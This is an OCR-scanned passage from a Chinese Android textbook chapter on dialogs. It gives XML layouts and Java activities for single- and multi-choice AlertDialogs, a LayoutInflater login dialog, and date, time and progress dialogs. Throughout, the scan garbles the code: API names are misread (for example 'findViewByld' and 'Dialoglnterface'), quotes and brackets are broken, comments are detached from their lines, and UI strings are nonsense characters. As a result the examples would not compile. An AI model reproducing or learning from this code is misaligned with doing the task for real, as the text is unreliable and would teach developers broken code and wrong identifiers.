.getResources() // 读 取 资 源 
.getStringArray( // 读 取 数 组 信息 


R.array.fruit_labels)[which]); 
本 程序 在 使 用 setItems() 方 法 时 设置 的 是 资源 文件 的 ID (fruit labels ), 而 在 事件 处 理 中 ， 
由 于 所 有 的 选项 都 在 资源 文件 (fruit data.xml ) 中 定义 ， 所 以 需要 通过 getResources() 方 法 读 
取 全 部 字符 串 数 组 信息 ， 并 将 内 容 显示 在 文本 框 中 。 
本 书 为 了 用 户 理解 方便 、 代 码 开发 简单 ， 所 以 直接 在 Activity 程序 中 进行 了 相关 的 显示 
数据 定义 ， 而 在 实际 的 开发 中 ， 建 议 读者 要 将 信息 的 显示 和 代码 进行 分 离 ， 这 样 做 也 符合 
MVC 设计 模式 的 要 求 。 
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本 程序 只 是 在 对 话 框 的 显示 上 使 用 了 一 个 类 似 于 ListView 显示 风格 的 选项 列表 ， 而 在 对 话 
框 的 列表 显示 上 ， 也 可 以 设置 多 个 单 选项 列表 ， 在 设置 选项 时 直接 使 用 setSingleChoiceItems() 


方法 即 可 。 


【 例 7-25】 设置 单 选 按钮 对 话 框 ， 在 main.xml 文件 


<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout 


P 配 置 


// 线 性 布局 管理 器 


xmlIns:android="http:/schemas.android.com/apK/res/android”" 


android:id="@+id/MyLayout" 
android:orientation="Vertica/” 
android:layout_width="fill_parent" 
android:layout_height="fill parent"> 
<TextView 
android:id="@+id/mych” 
android:text=” 


android:layout_width="wrap_content" 
android:layout_height="wrap_content"/> 


<TextView 
android:id="@+id/mytext" 
android:text=” 


android:layout_width= "wrap_content” 
android:layout_height="wrap_content"/> 


<Button 
android:id="@+id/mybut” 
android:text=" 效 帮 欢 奥 " 


android:layout_width="wrap_content” 
android:layout_height="wrap_content"/> 


</LinearLayout> 


// 布 局 管理 器 ID 

// 组 件 垂直 摆 放 

// 布 局 管理 器 宽度 为 屏幕 宽度 
// 布 局 管理 器 高 度 为 屏幕 高 度 
/定义 文本 显示 框 

// 组 件 ID， 程 序 中 使 用 

// 上 默认 显示 文字 

// 组 件 宽度 为 文字 宽度 

// 组 件 高 度 为 文字 高 度 

// 定 义 文本 显示 框 

// 组 件 ID， 程 序 中 使 用 

// 黑 认 显 示 文 字 

// 组 件 宽度 为 文字 宽度 

// 组 件 高 度 为 文字 高 度 

// 定 义 普通 按钮 

1/ 组件 iD， 程序 中 使 用 

// 默 认 显示 文字 

// 组 件 宽度 为 文字 宽度 

// 组 件 高 度 为 文字 高 度 


本 程序 中 定义 了 两 个 文本 框 ， 其 中 第 一 个 文本 框 (mych) 用 于 显示 用 户 的 选择 项 ， 而 第 二 
个 文本 框 (mytext) 用 于 显示 用 户 选择 项 对 应 的 描述 信息 ， 当 按钮 (mybut) 的 单 击 事件 触发 之 


后 会 在 相应 的 文本 框 中 显示 相应 的 信息 。 


【 例 7-26】 完成 单 选 列表 操作 ， 定 义 Activity 程序 


package org.Ixh.demo; 

import android.app.Activity; 

import android.app.AlertDialog; 
import android.app.Dialog; 

import android.content.Dialoglnterface; 
import android.os.Bundle; 

import android.view.View; 


import android.view.View.OnClickListener; 


import android.widget.Button; 
import android.widget. TextView; 


public class MyDialogDemo extends Activity { 


private Button mybut = null ; 
private TextView mych = null ; 
private TextView mytext = null ; 
private int chNum = 0; 


// 定 义 按钮 组 件 

// 定 义 文本 显示 组 件 
/定义 文本 显示 组 件 
// 记 录 选 中 项 


private String fruitData [] = new String[] { "苹果 ", "西瓜 " "水 密 桃 " }; // 单 选 按钮 
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private String fruitDesc [| = new String[] { 
"苹果 ， 植 物 类 水 果 ， 多 次 花 果 ， 具 有 丰富 营养 成 分 ， 有 食疗 、 辅 助 治疗 功能 。"， 
"西瓜 (学 名 : Citrullus lanatus， 英 文 : Watermelon) ， 属 葫芦 科 ， 原 产 于 非洲 。"， 
"水 密 桃 ， 在 植物 分 类 学 上 属于 蔷薇 科 ， 梅 属 ， 桃 亚 属 ， 为 落叶 小 乔木 。" };// 详 细 信 息 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); /调用 布局 管理 器 
this.mybut = (Button) super.findViewByld(R.id.mybub) ; /取得 组 件 
this.mych = (TextView) super.findViewByld(R.id.mych) ; /取得 组 件 


this.mytext = (TextView) super.findViewByld(R.id.mytexb ; ”// 取 得 组 件 
this.mybut.setOnClickListener(new OnClickListenerImpl()) ; ”// 设 置 单 击 事件 
} 
private class OnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View v) { 
Dialog dialog = new AlertDialog.Builder(MyDialogDemo.this) // 实 例 化 对 象 


.setlcon(R.drawable.pic_m) // 设 置 显示 图 片 
.setTitle(" 请 选择 你 喜欢 吃 的 水 果 ?") // 设 置 显示 标题 
.setPositiveButton(" 确 定 ", // 增 加 一 个 确定 按钮 
new DialogInterface.OnClickListener() { /设置 操作 监听 
public void onClick(Dialoglnterface dialog, 
int whichButton) { // 单 击 事件 
MyDialogDemo.this.mych.setText(" 您 喜欢 的 水 果 是 : " 
+ fruitData[chNum]); // 显 示 文 本 
») 
.setNegativeButton(" 取 消 "， // 增 加 取消 按钮 
new Dialoglnterface.OnClickListener(){ // 设 置 操作 监听 
public void onClick(DialogInterface dialog, 
int whichButton) { // 单 击 事件 


») 
.setSingleChoiceltems(MyDialogDemo.this.fruitData， /设置 列表 选项 
0， // 第 一 个 选项 默认 选中 
new Dialoglnterface.OnClickListener() { 
public void onClick(Dialoglnterface dialog, 


int which) { // 设 置 显示 信息 
MyDialogDemo this.mytext /设置 详细 信息 


.SetText(MyDialogDemo.this.fruitDesc[which]); 
MyDialogDemo.this.chNum = which ; /修改 选中 项 


}}).create(); // 创 建 Dialog 
dialog.show(); /显示 对 话 框 
» // 单 击 事件 


} 

本 程序 首先 定义 了 两 个 字符 串 数 组 ， 一 个 用 于 列表 项 显示 (fruitData) ， 另 外 一 个 用 于 列 
表 项 的 详细 信息 显示 〈fruitDesc) ， 当 用 户 单 击 按钮 时 ， 会 将 列表 项 的 信息 显示 在 对 话 框 中 ; 
当选 中 了 某 一 个 选项 后 ,会 在 文本 框 (mytext) 中 显示 已 选择 项 的 完整 信息 。 程 序 的 运行 效果 如 
图 7-14 所 示 。 
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I 


图 7-14 单 选 按钮 的 对 话 框 
除了 使 用 单 选 按 钮 作为 对 话 框 的 内 容 之 外 ， 也 可 以 使 用 复 选 框 定义 对 话 框 的 内 容 ， 在 设置 选 
项 时 ， 只 需要 使 用 setMultiChoiceItems() 方 法 即 可 ， 而 此 时 所 触发 的 事件 也 不 再 是 DialogInterface. 
OnClickListener， 而 是 DialogInterface.OnMultiChoiceClickListener 接口 ， 设 置 的 同时 还 可 以 指定 
哪儿 个 选项 为 默认 选中 。 
【 例 7-27】 使 用 复 选 框 作为 对 话 框 内 容 ， 在 main.xml 文件 中 定义 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 定 义 线性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apK/res/android” 
android:id="@+id/MyLayout”" // 布 局 管理 器 ID 
android:orientation="Vertica/" // 组 件 采用 垂直 排列 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TextView // 文 本 显示 组 件 
android:id="@+id/mych" // 组 件 ID， 程 序 中 使 用 
android:text="" // 组 件 默 认 文字 
android:layout_width="wrap_content" // 组 件 宽度 为 文字 宽度 
android:layout_height= "wrap_contenty> // 组 件 高 度 为 文字 高 度 
<Button /定义 普通 按钮 
android:id="@+id/mybut”" // 组 件 ID， 程 序 中 使 用 
android:text= " 骏 帮 承 锋 " // 组 件 默 认 文字 
android:layout_width="wrap_content" // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_contenty> // 组 件 高 度 为 文字 高 度 
</LinearLayout> 


本 程序 定义 了 两 个 组 件 : 按钮 (mybut) 和 文本 框 (mych) ， 当 单 击 按钮 之 后 会 出 现 对 话 框 ， 

当选 择 好 内 容 之 后 会 在 文本 框 (mych) 中 显示 所 有 已 选择 的 选项 。 
【 例 7-28】 使 用 复 选 框 作为 对 话 框 的 内 容 ， 定 义 Activity 程序 

package org.Ixh.demo; 

import android.app.Activity; 

import android.app.AlertDialog; 

import android.app.Dialog; 

import android.content.Dialoglnterface; 

import android.os.Bundle; 

import android.view.View; 
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中 将 前 两 个 选项 设置 为 默认 选中 ， 当 用 户 选择 相关 的 选项 之 后 ， 会 在 文本 框 (mych) 中 显示 所 


import android.view.View.OnClickListener; 
import android.widget.Button; 
import android.widget. TextView; 
public class MyDialogDemo extends Activity { 
private Button mybut = null ; 
private TextView mych = null ; 
private String fruitData [] = new String[] { "苹果 ", "西瓜 ", "水 密 桃 " }; 
private boolean chData[] = new boolean[] { true, true, false }; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
this.mybut = (Button) super .findViewByld(R.id.mybut) ; 
this.mych = (TextView) super .findViewByld(R.id.mych) ; 
this.mybut.setOnClickListener(new OnClickListenerImpl()) ; 
} 
private class OnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View v) { 


// 定 义 按钮 组 件 

// 定 义 文本 显示 组 件 
// 单 选 按 钮 

/默认 选中 


/调用 布局 管理 器 
// 取 得 组 件 

// 取 得 组 件 
/设置 单 击 事件 


Dialog dialog = new AlertDialog.Builder(MyDialogDemo .this) // 实 例 化 对 象 


.seticon(R.drawable.pic_m) 
.setTitle(" 请 选择 你 喜欢 吃 的 水 果 ? ") 
.setPositiveButton(" 确 定 ", 

new Dialoglnterface.OnClickListener() { 


/设置 显示 图 片 
/设置 显示 标题 
/增加 一 个 确定 按钮 
// 设 置 操作 监听 


public void onClick(DialogInterface dialog, 


int whichButton) { 


») 
.setNegativeButton(" 取 消 "， 
new Dialoglnterface.OnClickListener() { 


// 单 击 事件 


// 增 加 取消 按钮 
/设置 操作 监听 


public void onClick(Dialoglnterface dialog, 


int whichButton) { 


») 
.setMultiChoiceltems(MyDialogDemo.this .fruitData, 


MyDialogDemo.this.chData, 


// 单 击 事件 


/设置 列表 选项 
// 第 一 个 选项 默认 选中 


new Dialoglnterface.OnMultiChoiceClickListener() { 


public void onClick(Dialoglnterface dialog, 
int which, boolean isChecked){ 


/设置 显示 信息 


for (int x = 0; x < fruitData.length; x++){ 
if (x == which && isChecked) { // 被 选中 
mych.append(fruitData[x] + "、"); 


} 


D).create(); 
dialog.show!(); 


» 


// 创 建 Dialog 
// 显 示 对 话 框 
// 单 击 事件 


} 
在 此 程序 中 , 在 字符 串 数 组 (fruitData) 中 定义 所 有 的 列表 显示 信息 , 而 在 布尔 数组 (chData) 


有 已 选中 的 选项 内 容 。 程 序 的 运行 效果 如 图 7-15 所 示 。 
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SE 


策 请 选择 你 喜欢 吃 的 水 果 ? 


图 7-15 包含 复 选 框 的 对 话 框 
7.3.2 ”定制 对 话 框 和 Layoutinflater 
之 前 的 对 话 框 都 是 直接 通过 Activity 程序 进行 定义 的 , 但 是 如 果 希 望 在 对 话 框 中 显示 一 些 复 


杂 的 界面 ， 例 如 编写 一 个 登录 提示 对 话 框 ， 就 需要 通过 布局 文件 定义 显示 组 件 ， 之 后 再 将 这 些 
布局 显示 包含 到 对 话 框 中 ， 而 如 果 要 想 包含 ， 则 需要 LayoutInflater 类 的 支持 ， 如 图 7-16 所 示 。 


AN 
| 布局 管理 器 
定义 的 得 件 (eyouunnater | 
SS 转换 ht 
布局 文件 


对 话 框 
图 7-16 布局 管理 器 转换 
LayoutInflater 类 中 提供 的 常用 方法 如 表 7-8 所 示 。 


表 7-8 Layoutlnflater 类 的 常用 方法 


No. 方法 
1 | public static LayoutInflater from(Context context) 


描述 

普通 ”| 从 给 定 的 容器 中 创建 LayoutInflater 对 象 

普通 ”| 从 布局 文件 的 定义 转变 为 View 对 象 

下 面 通过 一 个 具体 的 程序 演示 如 何 使 用 自 定义 布局 定义 对 话 框 的 显示 组 件 ， 本 程序 的 主 
功能 是 弹出 一 个 让 用 户 填 写 登 录 信 息 的 对 话 框 。 
【 例 7-29】 定义 布局 管理 器 一 一 main.xml 


<?xml version="1.0" encoding="utf-8"?> 


2 |public View inflate(int resource, ViewGroup root) 


it 
炬 


<LinearLayout // 定 义 线性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apk/res/android" 
android:id="@+id/MyLayout” // 布 局 管理 器 ID， 程 序 中 使 用 
android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<Button // 定 义 按钮 组 件 

android:id="@+id/mybut” // 组 件 ID， 程 序 中 使 用 
android:text=" 房 户 登 灵 " // 组 件 默认 显示 文字 
android:layout_width="wrap_content”" // 组 件 宽度 为 文字 宽度 
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android:layout_height="wrap_content"/> // 组 件 高 度 为 文字 高 度 
</LinearLayout> 
【 例 7-30】 定义 对 话 框 所 需要 的 布局 管理 器 一 一 login.xml 
<?xml version="1.0" encoding="utf-8"?> 
<TableLayout // 表 格 布局 管理 器 
xmlIns:android="http:/schemas.android.com/apK/res/android”" 
android:id="@+id/MyLayout” // 布 局 管理 器 ID 
android:layout_width="fill_ parent”" // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TableRow> // 定 义 表格 行 
<TextView // 文 本 显示 组 件 
android:text=" 历 户 和 名: " // 上 默认 显示 文字 
android:layout_marginLeft="20dip” // 距 离 左边 20dip 
android:textSize="8px” /文字 大 小 为 8px 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 文字 高 度 
<EditText /定义 文本 输入 杠 
android:width="60pt" // 文 本 输入 框 长 度 为 60pt 
android:layout_height="wrap_content"/> // 文 本 输入 框 的 高 度 为 文字 高 度 
</TableRow> 
<TableRow> // 定 义 表格 行 
<TextView // 文 本 显示 组 件 
android:text=" 秒 玛 :" // 上 默认 显示 文字 
android:layout_marginLeft="20dip" // 距 离 左边 20dip 
android:textSize="8px”" /文字 大 小 为 8px 
android:layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 文字 高 度 
<EditText // 定 义 文本 输入 框 
android:password="true” // 设 置 密 文 显示 
android:width="60pt” // 文 本 输入 框 长 度 为 60pt 


android:layout_height="wrap_content"/> 
</TableRow> 
</TableLayout> 


// 文 本 输入 框 的 高 度 为 文字 高 度 


本 程序 使 用 了 表格 布局 管理 器 ， 分 别 定义 了 两 个 提示 信息 和 两 个 文本 输入 框 ， 以 输入 


登录 的 用 户 名 和 密码 。 


【 例 7-31】 定义 Activity 程序 ， 将 例 7-30 中 的 布局 管理 器 作为 对 话 框 显示 


package org.Ixh.demo; 

import android.app.Activity; 

import android.app.AlertDialog; 

import android.app.Dialog; 

import android.content.Dialoglnterface'; 

import android.os.Bundle; 

import android.view.Layoutlnflater 

import android.view.View; 

import android.view.View.OnClickListener; 

import android.widget.Button; 

public class MyDialogDemo extends Activity { 
private Button mybut = null ; 
@Override 
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public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 管理 器 
this.mybut = (Button) super .findViewByld(R.id.mybut) ; // 取 得 组 件 
this.mybut.setOnClickListener(new OnClickListenerImpl()) ; ”// 设 置 单 击 事件 

} 

private class OnClickListenerImpl implements OnClickListener { 


@Override 
public void onClick(View v) { 
Layoutlnflater factory = Layoutlnflater.fom(MyDialogDemo.this); 


View myView = factory.inflate(R.layout./ogin,null); /将 布局 文件 转换 为 View 

Dialog dialog = new AlertDialog.Builder(MyDialogDemo.this) // 创 建 Dialog 
.setlcon(R.drawable .pic_rm) /设置 显示 图 片 
.setTitle(" 用 户 登录 ") // 设 置 标题 
.setView(myView) /设置 组 件 
.setPositiveButton(" 登 录 "， /设置 确定 按钮 


new Dialoglnterface.OnClickListener(){ 
public void onClick(Dialoglnterface dialog, int whichButton) { 


)).setNegativeButton(" 取 消 "， /设置 取消 按钮 
new Dialoglnterface.OnClickListener(){ 
public void onClick(Dialoglnterface dialog, 
int whichButton) { 
}).create(); /| 创建 对 话 框 
dialog.show(); /显示 对 话 框 
» // 单 击 事件 


} 

本 程序 首先 通过 LayoutInflater 类 中 的 inflate() 方 法 将 布局 管理 器 中 的 组 件 〈login.xml 定义 ) 
转换 为 View 对 象 ， 之 后 将 此 View 对 象 通过 setView() 方 法 加 入 到 对 话 杠 中。 程序 的 运行 效果 如 
图 7-17 所 示 。 
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图 7-17 自 定 义 对 话 框 
7.3.3 ”日 期 对 话 框 : DatePickerDialog 
DatePickerDialog 对 话 框 的 主要 功能 是 进行 日 期 的 设置 ，DatePickerDialog 类 的 定义 结构 如 下 : 
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java.lang.Object 
b android.app.Dialog 
b android.app.AlertDialog 


b android.app.DatePickerDialog 
此 类 是 Dialog 的 间接 子 类 ， 所 以 在 使 用 时 依然 可 以 依靠 对 象 向 上 转型 为 Dialog 类 的 对 象 进 
行 实例 化 ， 此 类 的 常用 方法 如 表 7-9 所 示 。 
表 7-9 DatePickerDialog 类 的 常用 方法 
方 ” 法 描述 


public DatePickerDialog (Context context, 
DatePickerDialog.OnDateSetListener callBack, 


创建 DatePickerDialog 对 象 ， 同 时 指定 监 
听 操 作 及 要 设置 的 年 、 月 、 日 等 信息 


int year, int monthOfYear int dayOfMonth, 
public void updateDate (int year, imt monthOf Year, 
int dayOfMonth) 


下 面 使 用 DatePickerDialog 对 话 框 完成 一 个 日 期 的 设置 操作 , 设置 完 日 期 之 后 将 在 文本 框 中 
显示 设置 后 的 日 期 。 
【 例 7-32】 在 布局 管理 器 中 定义 文本 显示 组 件 


<?xml version= "1.0" encoding="utf-8"?> 


普通 ”| 更 新 显示 组 件 上 的 年 、 月 、 日 信息 


<LinearLayout // 定 义 线性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apk/res/android”" 
android:id="@+id/MyLayout” // 布 局 管理 器 ID， 程序 中 使 用 
android:orientation="Vertica/" // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TextView // 文 本 显示 组 件 

android:id="@+id/txt” // 组 件 1ID， 程 序 中 使 用 
android:layout_width="wrap_content”" // 组 件 宽度 为 文字 宽度 
android:layout_height= "wrap_contenty> // 组 件 高 度 为 文字 高 度 
<Button /按钮 组 件 
android:id="@+id/mybut” 1/ 组件 ID， 程 序 中 使 用 
android:text=" 帮 恒 己 筋 ' // 组 件 默认 文字 
android:layout_width="wrap_content” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_contenty> // 组 件 高 度 为 屏幕 高 度 
</LinearLayout> 


本 程序 中 定义 了 两 个 组 件 ， 按钮 和 文本 显示 ， 当 用 户 单 击 按钮 时 ， 将 使 用 单 击 事件 显示 一 

个 设置 日 期 的 对 话 框 ， 而 后 在 文本 组 件 中 显示 DatePickerDialog 对 话 框 设置 的 日 期 。 
【 例 7-33】 定义 Activity 程序 ， 显 示 日 期 对 话 框 

package org.Ixh.demo; 

import android.app.Activity; 

import android.app.DatePickerDialog; 

import android.app.Dialog; 

import android.os.Bundle; 

import android.view.View: 

import android.view.View.OnClickListener; 
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import android.widget.Button; 

import android.widget.DatePicker; 

import android.widget.TextView; 

public class MyDialogDemo extends Activity { 
private Button mybut = null ; /定义 按钮 组 件 
@Override 
public void onCreate(Bundle savedInstanceState) { 

super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); /调用 布局 管理 器 
this.mybut = (Button) super .findViewByld(R.id.mybut) ; /取得 组 件 
this.mybut.setOnClickListener(new OnClickListenerImpl()) ; ”// 设 置 单 击 事件 

} 

private class OnClickListenerImpl implements OnClickListener { 


@Override 
public void onClick(View v) { 
Dialog dialog = new DatePickerDialog(MyDialogDemo.this，”// 当 前 上 下 文 
new DatePickerDialog.OnDateSetListener() { // 事 件 监听 
public void onDateSet(DatePicker view, int year, 
int monthOfYear, int dayOfMonth) { /日 期 改变 时 触发 

TextView text = (TextView) findViewByld(R.id.txt) ;// 文 本 组 件 
text.setText(" 更 新 的 日 期 为 : "+ year + "-" + monthOfYear + "-" 


+ dayOfMonth); // 设 置 文本 内 容 
}}, 1981, 8, 19); /默认 的 年 、 月、 日 
dialog.show() ; // 显 示 对 话 框 
» /| 单 击 事件 


} 

本 程序 运行 后 直接 通过 DatePickerDialog 类 定义 了 一 个 文本 框 , 并 定义 了 此 组 件 的 事件 处 理 
操作 ， 而 在 事件 处 理 的 onDateSet() 方 法 中 将 设置 的 日 期 内 容 显 示 到 了 文本 组 件 中 。 程 序 的 运行 
效果 如 图 7-18 所 示 。 

当 单 击 对 话 框 中 的 “设置 ”按钮 时 ， 将 把 设置 的 日 期 显示 在 文本 框 中 ， 如 图 7-19 所 示 。 


CEEZZZTER 本 | x| 
页 站 骨 务 9:53 


(© 1981 年 9 月 19 日 星期 六 


图 7-18 “显示 日 期 对 话 框 图 7-19 设置 的 日 其 
7.3.4 时 间 对 话 框 : TimePickerDialog 
DatePickerDialog 的 功能 是 进行 日 期 的 显示 ， 如 果 要 想 显示 时 间 ， 则 需要 依靠 TimePickerDialog 
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组 件 完 成 。TimePickerDialog 类 的 定义 结构 如 下 : 
java.lang.Object 


b android.app.Dialog 
b android.app.AlertDialog 


b android.app.TimePickerDialog 
此 类 也 为 Dialog 类 的 子 类 ， 其 常用 方法 如 表 7-10 所 示 。 


表 7-10 TimePickerDialog 类 的 常用 方法 


方法 
public TimePickerDialog (Context context TimePickerDialog. 


描 述 
创建 时 间 对 话 框 ， 同 时 设置 
时 间 改 变 的 事件 操作 、 小时、 
分 以 及 是 否 为 24 小 时 制 

更 新 时 、 分 


1 |OnTimeSetListener callBack, int hourOfDay, int minute, 


boolean is24HourView) 
ublic void updateTime (int hourOfDay, int minuteOfHour) 


下 面 使 用 TimePickerDialog 进行 时 间 的 设置 。 
【 例 7-34】 在 布局 管理 器 中 定义 一 个 文本 显示 框 ， 显 示 更 新 后 的 时 间 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout // 定 义 线性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 


android:id="@+id/MyLayout”" 


// 布 局 管理 器 ID， 程 序 中 使 用 


android:orientation="Vertica/" /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent’> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TextView // 文 本 显示 组 件 
android:id="@+id/txt” // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content" // 组 件 宽度 为 文字 宽度 
android:layout_height= "wrap_contenty> // 组 件 高 度 为 文字 高 度 
<Button // 按 钮 组 件 
android:id="@+id/mybut”" 1/ 组件 ID， 程 序 中 使 用 
android:text=" 克 填 8y/37" // 组 件 默 认 文 字 
android:layout_width="wrap_content”" // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_contenty> // 组 件 高 度 为 屏幕 高 度 


</LinearLayout> 
【 例 7-35】 定义 Activity 程序 设置 时 间 对 话 框 
package org.Ixh.demo; 
import android.app.Activity; 
import android.app.Dialog; 
import android.app. TimePickerDialog; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.widget.Button; 
import android.widget. TextView; 
import android.widget. TimePicker; 
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public class MyDialogDemo extends Activity { 
private Button mybut = null ; // 定 义 按钮 组 件 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 调 用 布局 管理 器 
this.mybut = (Button) super .findViewByld(R.id.mybut) ; // 取 得 组 件 
this.mybut.setOnClickListener(new OnClickListenerImpl()) ; ”// 设 置 单 击 事件 
} 
private class OnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View v) { 
Dialog dialog = new TimePickerDialog(MyDialogDemo.this, // 当 前 上 下 文 
new TimePickerDialog.OnTimeSetListener() { // 事 件 监听 
public void onTimeSet(TimePicker view, int hourOfDay, 
int minute) { // 事 件 改变 时 触发 
TextView text = (TextView) fndViewByld(R.id.txb ;，// 文 本 组 件 
text.setText(" 时 间 为 : " + hourOfDay + ":" + minute); /设置 文本 
}}, 19, 20,true); /默认 的 时 、 分 
dialog.show() ; 
Wy // 单 击 事件 
} 
本 程序 直 侈 化 了 TimePickerDialog 类 的 对 象 ,在 时 间 改 变 的 监听 操作 里 将 设置 的 小 时 和 


分 钟 取出 来 并 在 文本 框 中 显示 ， 本 组 件 中 的 时 间 将 采用 24 小 时 制 进行 显示 ， 程 序 的 运行 效果 如 
图 7-20 所 示 。 
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图 7-20 设置 时 间 对 话 框 
当时 间 修 改 后 单 击 “ 设 置 ”按钮 , 会 自动 地 在 文本 框 中 显示 设置 好 的 时 间 ， 如 图 7-21 所 示 。 


图 7-21 设置 新 的 时 间 
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7.3.5 进度 处 理 对 话 框 : ProgressDialog 


在 进行 复杂 操作 时 ， 往 往 会 显示 一 个 等 待 的 对 话 框 ， 此 时 可 以 通过 进度 处 理 对 话 框 
(ProgressDialog) 显示 操作 进度 的 相关 情况 。ProgressDialog 类 的 定义 结构 如 下 : 
java.lang.Object 
b android.app.Dialog 


b android.app.AlertDialog 


b android.app.ProgressDialog 
ProgressDialog 类 的 常用 方法 及 常量 如 表 7-11 所 示 。 


表 7-11 ProgressDialog 类 的 常用 方法 及 常量 


No. 方 ” 法 描述 

1 public static final int STYLE HORIZONTAL 水 平 进度 显示 风格 

入 public static final int STYLE _SPINNER 环形 进度 显示 风格 

3 public ProgressDialog(Context context 创建 进度 对 话 框 

4 public void setMessage(CharSequence message) 普通 设置 显示 信息 

5 public void onStartO) 普通 启动 进度 框 

6 public void setProgressStyle (int style) 普通 设置 进度 条 的 显示 风格 
public static ProgressDialog show (Context context, 直接 创建 进度 对 话 框 ， 指 定 对话 

7 普通 和 
CharSequence title, CharSequence message, 框 的 标题 及 信息 

8 public void incrementProgressBy(int diff) 普通 设置 进度 条 每 次 增长 的 值 

9 public void setMax(int max) 普通 设置 进度 条 的 最 大 增长 值 

10 |public void setProgress(int value) 普通 设置 当前 进度 


另外 ， 如 果 要 想 进 行进 度 对 话 框 的 操作 ， 还 需要 多 线程 的 支持 ， 本 程序 是 在 进度 对 话 框 显 
示 3 秒 之 后 让 其 消失 ， 而 多 线程 操作 类 将 负责 此 工作 。 


rr 


提示 
关于 多 线程 的 使 用 。 
进度 处 理 操作 肯定 要 使 用 多 线程 进行 显示 时 间 的 控制 ,如果 读 者 对 于 多 线程 的 操作 不 熟 
悉 ， 可 以 参考 《名 师 讲坛 一 一 Java 开发 实战 经 典 》 第 9 章 的 内 容 。 


【 例 7-36】 定义 布局 管理 器 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apK/res/android" 
android:id="@+id/MyLayout” // 布 局 管理 器 ID， 程 序 中 使 用 
android:orientation="horizontal” /所 有 组 件 水 平 摆 放 
android:layout_width="fill_parent”" // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
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<Button 

android: 
android: 
android: 
android: 

</LinearLayout> 
在 本 布局 管理 器 

等 待 的 对 话 框 。 

【 例 7-37】 启动 


// 按 钮 组 件 
id="@+tid/mybut” /| 组件 iD， 程序 中 使 用 
text=" 营 龙 语 纤 鞍 稻 " // 组 件 默 认 显示 文字 
layout_width="wrap_content” // 组 件 宽度 为 文字 宽度 
layout_height= "wrap_contenty> // 组 件 高 度 为 文字 高 度 


Pp 模拟 了 一 个 网 络 查找 的 应 用 操作 ， 当 用 户 单 各 


对 话 框 ， 直 接 通 过 show0 方 法 启动 进度 对 话 框 


package org.Ixh.demo; 
import android.app.Activity; 
import android.app.ProgressDialog; 


import android.os. 


Bundle; 


import android.view.View; 

import android.view.View.OnClickListener 

import android.widget.Button; 

public class MyDialogDemo extends Activity { 
private Button mybut = null ; 


@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
this.mybut = (Button) super .findViewByld(R.id.mybut) ; 
this.mybut.setOnClickListener(new OnClickListenerImpl()) ; ”// 设 置 单 击 事件 


} 


6 按钮 之 后 会 出 现 一 个 查找 


// 定 义 按钮 组 件 


// 调 用 布局 管理 器 
/取得 组 件 


private class OncClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View v) { 
final ProgressDialog proDia = ProgressDialog.show(MyDialogDemo.this, 


"搜索 网 络 "， 
"请 耐心 等 待 …"); 


new Thread() { 


public void run() { 


try{ 
Thread.sleep(3000); 


} catch (Exception e){ 
}finally { 
proDia.dismiss(); 


} 
-start(); 


proDia.show() ; 


}» 


// 对 话 框 显示 标题 
// 对 话 框 显示 文字 
// 线 程 对 象 

// 线 程 主体 方法 


// 运 行 3 秒 后 关闭 对 话 框 


// 关 闭 对话 框 


/线程 启动 
/显示 对 话 杠 
// 单 击 事件 


} 

本 程序 直接 使 用 show0 方 法 进行 对 话 框 的 显示 ， 在 调用 show0 方 法 时 传 入 了 显示 对 话 框 的 
标题 、 信 息 等 内 容 。 为 了 让 进度 对 话 框 可 以 自己 停止 运行 ， 专门 增 加 了 一 个 线程 的 处 理 操作 类 ， 
